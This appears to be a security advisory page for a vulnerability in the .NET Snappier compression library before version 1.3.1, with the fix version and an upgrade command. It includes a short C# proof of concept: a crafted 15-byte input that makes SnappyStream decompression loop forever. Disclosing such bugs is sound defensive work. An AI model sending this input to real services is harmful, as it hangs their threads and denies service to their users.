Snappier has an infinite loop during SnappyStream decompression with malformed framed input
Published 6 May 2026 · Updated 13 May 2026
Is your project on an affected Snappier?
Look after several .NET apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Affected package
- Affected
- <1.3.1
- Fixed in
- 1.3.1
dotnet add package Snappier --version 1.3.1Details
Summary
Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.
Details
The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.
PoC
using System.IO.Compression;
using Snappier;
byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst); // never returnsImpact
A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).
Is GHSA-pggp-6c3x-2xmx in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected Snappier, and gives you the command that fixes it.
More advisories for Snappier
- HighCVE-2023-28638Snappier vulnerable to buffer overrun due to improper restriction of operations within the bounds of a memory buffer · 27 Mar 2023
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.